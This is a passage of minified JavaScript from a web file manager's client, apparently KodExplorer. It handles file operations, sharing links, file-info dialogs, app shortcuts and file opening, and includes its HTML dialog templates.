c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var n="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data); -else{G.self_share=e.info;var i={path:t,type:n,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(n),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==n&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),n=template.compile(i),a=n({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:a});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var n=e.type;"folder"==e.type&&(n=1==e.code_read?"code_read":"folder");var a=G.app_host+"index.php?share/"+n+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(a),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var n=i.createTextRange();n.moveEnd("character",-i.value.length),n.moveEnd("character",t),n.moveStart("character",0),n.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,n,a){if(console.log(e,t,i,n,a),!(1>e.length)){var o,s=G.my_desktop;n&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof a&&a(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),n=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var a=urlEncode(n+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+a,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var o=a(t);o+="&get_md5=1",core.fileInfo(o,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var n=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},a="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(a+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){a+="&path_to="+e,n(a)}):n(a)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var n=40,a=0;e.length>a;a++){var o=e[a],s=o.path;s=n>s.length?s:"..."+s.substr(-n),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var n=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(n(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:n,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,n){var a,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==n&&(n="user_edit"),"root_edit"==n&&(t=t),"user_edit"==n||"root_edit"==n?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(a)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(a);switch(n){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==n||"root_add"==n){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),a=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&a.find("option").eq(t.group).attr("selected",1),a.find(".aui_content").css("overflow","inherit"),n){case"user_edit":a.find(".name").addClass("hidden"),a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":a.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(a)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var n={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},a=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+a,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(n))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),n=i.find("string").text();window.open(n)}catch(a){s(e)}}),void 0;if("html"==t||"htm"==t){var n=core.path2url(e);return core.openDialog(n,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var n=e;return-1==n.indexOf("http:")&&(n=core.path2url(n)),MaskView.image(n),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var n=core.path2url(e,!1);return p([{url:n,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var a=core.path2url(e),n="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(a);if(canvasSupport())core.openDialog(n,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+a+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:a}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},n=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},a=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),n(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,n=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(n=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},n)}else{var a="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(a,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 